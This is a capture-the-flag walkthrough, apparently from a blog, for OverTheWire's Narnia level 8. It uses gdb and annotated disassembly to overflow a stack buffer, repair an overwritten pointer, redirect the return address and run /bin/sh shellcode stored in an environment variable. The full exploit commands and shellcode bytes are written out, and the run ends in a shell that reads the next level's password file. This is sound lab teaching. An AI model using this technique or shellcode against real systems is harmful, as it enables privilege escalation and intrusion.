(gdb) set disassembly-flavor intel
(gdb) disas func
Dump of assembler code for function func:
0x0804842d <+0>: push ebp
0x0804842e <+1>: mov ebp,esp
0x08048430 <+3>: sub esp,0x38
0x08048433 <+6>: mov eax,DWORD PTR [ebp+0x8] **** <- Address of b (passed in arg)
..... ...
0x08048433 <+6>: mov eax,DWORD PTR [ebp+0x8]
0x08048436 <+9>: mov DWORD PTR [ebp-0xc],eax
0x08048439 <+12>: mov DWORD PTR [esp+0x8],0x14
0x08048441 <+20>: mov DWORD PTR [esp+0x4],0x0
0x08048449 <+28>: lea eax,[ebp-0x20] ************ <- Bok (Actual location)
0x0804844c <+31>: mov DWORD PTR [esp],eax
0x0804844f <+34>: call 0x8048320 <memset@plt>
..... ...
0x08048454 <+39>: mov DWORD PTR ds:0x80497b8,0x0 # Initialize index = 0
0x0804845e <+49>: jmp 0x8048486 <func+89> # Do first post loop check
### Start loop ###
0x08048460 <+51>: mov eax,ds:0x80497b8 # Load index
0x08048465 <+56>: mov edx,DWORD PTR ds:0x80497b8
0x0804846b <+62>: mov ecx,edx # ecx has index
0x0804846d <+64>: mov edx,DWORD PTR [ebp-0xc] *** <- Pointer to blah
0x08048470 <+67>: add edx,ecx # edx = (blah+i)
0x08048472 <+69>: movzx edx,BYTE PTR [edx] # edx = *(blah+i)
0x08048475 <+72>: mov BYTE PTR [ebp+eax*1-0x20],dl # *(bok+i) = *(blah+i)
0x08048479 <+76>: mov eax,ds:0x80497b8
0x0804847e <+81>: add eax,0x1 # increment index
0x08048481 <+84>: mov ds:0x80497b8,eax
### Post loop check ###
0x08048486 <+89>: mov eax,ds:0x80497b8 # Load index
0x0804848b <+94>: mov edx,eax
0x0804848d <+96>: mov eax,DWORD PTR [ebp-0xc]
0x08048490 <+99>: add eax,edx
0x08048492 <+101>: movzx eax,BYTE PTR [eax] # Load *(blah+i)
0x08048495 <+104>: test al,al # Test if at end
0x08048497 <+106>: jne 0x8048460 <func+51>
..... ...
0x080484a0 <+115>: mov DWORD PTR [esp],0x8048580
0x080484a7 <+122>: call 0x80482f0 <printf@plt>
0x080484ac <+127>: leave
0x080484ad <+128>: ret
End of assembler dump.
So there is a lot going on, most likely due to the complexity of a for loop doing the copying instead of a library function like strcpy
. However I've heavily annotated the assembly and most of it should be easy to follow.
Now that we know where everything roughly lives, let us run the program with some arguments and see what is actually happening. Find the number of A's
you can run without seeing the weird characters (for me this was 19)
(gdb) b *func + 127
(gdb) r AAAAAAAA
Starting program: /games/narnia/narnia8 $(python -c 'print "A"*19')
AAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x080484ac in func ()
(gdb) x/wx $ebp-0xc
0xffffd69c: 0xffffd8a5 # This is pointer to blah
(gdb) x/wx $ebp-0x20
0xffffd678: 0x41414141 # This is start of our buffer, bok
(gdb) x/48wx $esp
0xffffd660: 0x08048580 0xffffd678 0x00000014 0xf7e55f53
0xffffd670: 0x00000000 0x00ca0000 0x41414141 0x41414141
0xffffd680: 0x41414141 0x41414141 0x00414141 0xffffd8a5* *<- *blah
0xffffd690: 0x00000002 0xffffd754 0xffffd6b8 0x080484cd
0xffffd6a0: 0xffffd8a5 0xf7ffd000 0x080484fb 0xf7fca000
0xffffd6b0: 0x080484f0 0x00000000 0x00000000 0xf7e3ca63
0xffffd6c0: 0x00000002 0xffffd754 0xffffd760 0xf7feacea
0xffffd6d0: 0x00000002 0xffffd754 0xffffd6f4 0x080497a4
0xffffd6e0: 0x0804820c 0xf7fca000 0x00000000 0x00000000
0xffffd6f0: 0x00000000 0x47e1c50f 0x7fd8011f 0x00000000
0xffffd700: 0x00000000 0x00000000 0x00000002 0x08048330
0xffffd710: 0x00000000 0xf7ff0500 0xf7e3c979 0xf7ffd000
The above picture actually explains what is happening, and why we can seemingly input any large sized string as we want without overflowing.
First we know that the loop condition for copying our input to the buffer, bok
, relies on traversing the string pointed to by the char *blah
which starts dereferencing at 0xffffd8a5
(the location of our input), and stops when it reaches the 'end' or a null byte marking the end of string.
Now it seems that once we get to 20 characters in our input, we begin to overflow into the blah
, effectively changing what it was pointing to. Once this happens, it no longer is pointing to our input, and so it copies over one last \x41
which overwrites the lowest order byte, giving you 21 A's
. It scans our next 3 bytes which the remainder of our blah
pointer, representing them as non-ascii characters before it reaches a null byte, and thus an overflow is averted in a very roundabout way.
You can see this behavior from the following dump:
Starting program: /games/narnia/narnia8 $(python -c 'print "A"*500')
AAAAAAAAAAAAAAAAAAAAA���
Breakpoint 1, 0x080484ac in func ()
(gdb) x/wx24$esp
A syntax error in expression, near `$esp'.
(gdb) x/24wx $esp
0xffffd480: 0x08048580 0xffffd498 0x00000014 0xf7e55f53
0xffffd490: 0x00000000 0x00ca0000 0x41414141 0x41414141
0xffffd4a0: 0x41414141 0x41414141 0x41414141 0xffffd641* *<- *blah pointer
0xffffd4b0: 0x00000002 0xffffd574 0xffffd4d8 0x080484cd
_ *b
|
v
0xffffd4c0: 0xffffd6c2* 0xf7ffd000 0x080484fb 0xf7fca000
0xffffd4d0: 0x080484f0 0x00000000 0x00000000 0xf7e3ca63
When we overflow into blah
, there is the misalignment causes it to no longer point to what it was assigned to in the beginning (b
, our input). The solution of course is that when we overflow, to rewrite blah
to the actual location of b
before continuing, adjusting for the position of our stack. Remember when you change your stack, you must adjust for the change in position in the stack as well. Always check to see where b
has been set with x/wx $ebp+0x8
. If you get an address, that means that is where b
points to now, otherwise if you see your input string that means your string is properly formatted:
Starting program: /games/narnia/narnia8 $(python -c 'print "A"*20 + "\x10\xd6\xff\xff" + "A"*140')
AAAAAAAAAAAAAAAAAAAAA��
Breakpoint 1, 0x080484ac in func ()
(gdb) x/wx $ebp+0x8
0xffffd610: 0xffffd812
(gdb) r $(python -c 'print "A"*20 + "\x12\xd8\xff\xff" + "A"*140')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /games/narnia/narnia8 $(python -c 'print "A"*20 + "\x12\xd8\xff\xff" + "A"*140')
AAAAAAAAAAAAAAAAAAAA���AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
So no we know how to overflow, the question becomes what do we overwrite. The answer is similar to what we did for a return-to-libc, only this case we are not overwriting a function call, but the function return of func
itself to jump to a location we want.
In order to find the return address in the stack, you can always rely that while in the func
context, the return address will always be held in $ebp+0x4
(x86 calling convention). You can verify this by also looking at the address of the next instruction after the call in main
.
(gdb) x/wx $ebp+0x4
0xffffd6ac: 0x080484cd
(gdb) x/24wx $esp
0xffffd670: 0x08048580 0xffffd688 0x00000014 0xf7e55f53
0xffffd680: 0x00000000 0x00ca0000 0x41414141 0x00000041
0xffffd690: 0x00000000 0x00000000 0x00000000 0xffffd8b1
0xffffd6a0: 0x00000002 0xffffd764 0xffffd6c8 0x080484cd* *<- Here
0xffffd6b0: 0xffffd8b1 0xf7ffd000 0x080484fb 0xf7fca000
0xffffd6c0: 0x080484f0 0x00000000 0x00000000 0xf7e3ca63
There are 10 words from start of our buffer until the return address, therefore we need 36 bytes (making sure to correct blah
in the process) + 4 bytes to get the overwrite.
# Note I progressively altered the overwrite of 'blah' every time I altered the input string
Starting program: /games/narnia/narnia8 $(python -c 'print "A"*20 + "\x8e\xd8\xff\xff" + "A"*12 + "\xef\xbe\xad\xde"')
Breakpoint 6, 0x080484a7 in func ()
(gdb) x/wx $ebp+0x4
0xffffd68c: 0xdeadbeef # Success
(gdb)
We still have a problem, the buffer space we have of 20 A's
and 12 A's
respectively are not large enough to store my shellcode, which is 25 bytes long.
All is not lost however, since we are going to go back to what I mentioned in Level 2, and that is placing our shellcode instead at an environment variable, and setting our return address to instead jump to that.
While you can mess around with clearing the environment in gdb
and working with *environ
to find the address, this simple program will actually find the address of a target environment variable for you. With that lets try it out:
narnia8@melinda:/narnia$ export PERKS=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
# Make sure you call your binary exactly the same as you do with this program
# Direct call
narnia8@melinda:/narnia$ /tmp/getenvaddr PERKS ./narnia8
PERKS will be at 0xffffdf66
# Full path call
narnia8@melinda:/narnia$ /tmp/getenvaddr PERKS /narnia/narnia8
PERKS will be at 0xffffdf5a
# Going with direct call
narnia8@melinda:/narnia$ ./narnia8 $(python -c 'print "A"*20 + "\x8e\xd8\xff\xff" + "A"*12 + "\x66\xdf\xff\xff"')
AAAAAAAAAAAAAAAAAAAA�A��
Damn, that's right we have to adjust for gdb
. To do this requires a bit of luck, but we can make our lives easier by trying to match the context of gdb
with how we run our variable. We know about env -i
which allows us to set a custom environment to run a binary. We also know about gdb
and the *environ
pointer.
By clearing our gdb
environment and adding a placeholder env variable with our dimensions (size of var name + size of var payload), and recreating this with our binary, we minimize the distance betweeen gdb
memory addresses and the normal program's during runtime:
(gdb) unset environ
Delete all environment variables? (y or n) y
(gdb) b *main # So we can examine our stack
(gdb) set env PERKS=AAAAAAAAAAAAAAAAAAAAAAAAA # 25 bytes
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /games/narnia/narnia8
Breakpoint 1, 0x080484ae in main ()
(gdb) x/8s *environ
0xffffdfa8: "PWD=/games/narnia"
0xffffdfba: "SHLVL=0"
0xffffdfc2: "PERKS=", 'A' <repeats 25 times>
0xffffdfe2: "/games/narnia/narnia8"
0xffffdff8: ""
0xffffdff9: ""
0xffffdffa: ""
0xffffdffb: ""
(gdb) del break 1
(gdb) b *func+122
Breakpoint 2 at 0x80484a7
# See what it is at input size = 20
(gdb) r $(python -c 'print "A"*20')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /games/narnia/narnia8 $(python -c 'print "A"*20')
Breakpoint 2, 0x080484a7 in func ()
(gdb) x/24wx $esp
0xffffdda0: 0x08048580 0xffffddb8 0x00000014 0xf7e55f53
0xffffddb0: 0x00000000 0x00ca0000 0x41414141 0x41414141
0xffffddc0: 0x41414141 0x41414141 0x41414141 0xffffdf93
0xffffddd0: 0x00000002 0xffffde94 0xffffddf8 0x080484cd
0xffffdde0: 0xffffdf93 0xf7ffd000 0x080484fb 0xf7fca000
0xffffddf0: 0x080484f0 0x00000000 0x00000000 0xf7e3ca63
..... ...
# After figuring out offset...
(gdb) r $(python -c 'print "A"*20 + "\x7f\xdf\xff\xff" + "A"*12 +"\xef\xbe\xad\xde"')
Starting program: /games/narnia/narnia8 $(python -c 'print "A"*20 + "\x7f\xdf\xff\xff" + "A"*12 +"\xef\xbe\xad\xde"')
Breakpoint 2, 0x080484a7 in func ()
(gdb) x/24wx $esp
0xffffdd90: 0x08048580 0xffffdda8 0x00000014 0xf7e55f53
0xffffdda0: 0x00000000 0x00ca0000 0x41414141 0x41414141
0xffffddb0: 0x41414141 0x41414141 0x41414141 0xffffdf7f
0xffffddc0: 0x41414141 0x41414141 0x41414141 0xdeadbeef
0xffffddd0: 0xffffdf7f 0xf7ffd000 0x080484fb 0xf7fca000
0xffffdde0: 0x080484f0 0x00000000 0x00000000 0xf7e3ca63
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAA���AAAAAAAAAAAAᆳ����
Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()
Okay now that we know our blah
address with our input length (0xffffdf7f
), and when input length doesn't overflow (0xffffdf93
). The trick here is to recreate our environment, see what the base address of blah
is at regular (20) size, find the difference between outside and inside gdb
, then add that difference to 0xffffdf7f
. We are also lucky since running the program will output what our blah
is, so we can pipe it through xxd
to get the hex value:
narnia8@melinda:/narnia$ env -i PWD="/games/narnia" SHLVL=0 PERKS=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"') /narnia/narnia8 $(python -c 'print "A"*20') | xxd
0000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000010: 4141 4141 99df ffff 020a AAAA......
# We see '0xffffdf99'
# '0xffffdf99 - 0xffffdf93' = 0x6 # our difference
# '0xffffdf7f + 0x6' = '0xffffdf85' # our new 'blah'
Now let's find where our environment variable is going to be located. Remember we have to run this too with our custom environment, and make sure how you called the narnia8
binary between gdb
and this is consistent!
narnia8@melinda:/narnia$ env -i PWD="/games/narnia" SHLVL=0 PERKS=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"') /tmp/getenvaddr PERKS /narnia/narnia8
PERKS will be at 0xffffdfce
Now all is left is to run the full command:
narnia8@melinda:/narnia$ env -i PWD="/games/narnia" SHLVL=0 PERKS=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"') /narnia/narnia8 $(python -c 'print "A"*20 + "\x85\xdf\xff\xff" + "A"*12 +"\xce\xdf\xff\xff"')
AAAAAAAAAAAAAAAAAAAA����AAAAAAAAAAAA��������
$ whoami
narnia9
$ cat /etc/narnia_pass/narnia9
**** Password Removed ***
narnia8@melinda:ssh narnia9@narnia.labs.overthewire.org
Welcome to the OverTheWire games machine !
narnia9@melinda:~$ ls
CONGRATULATIONS
narnia9@melinda:~$ cat CONGRATULATIONS
you are l33t! next plz...
All right!
That was a really tricky set of things to do and getting the mapping between gdb
and outside of it is tedious and very frustrating. If it is not working for you, I recommend you triple check that everything you are doing is matching up (calling with same path name, from the same directory, including all environment variables), and after that try wiggling the address of blah
a bit.
And with that last level, we have wrapped up and finished Narnia!
Hopefully you are quite comfortable with the basic techniques you have learned here, and are ready to apply them to more difficult scenarios where the main vulnerability is not quite as obvious.
It was a lot of fun going back through the exploits and digging into the internals, and I hope you learned something from this entire process.
Until next time!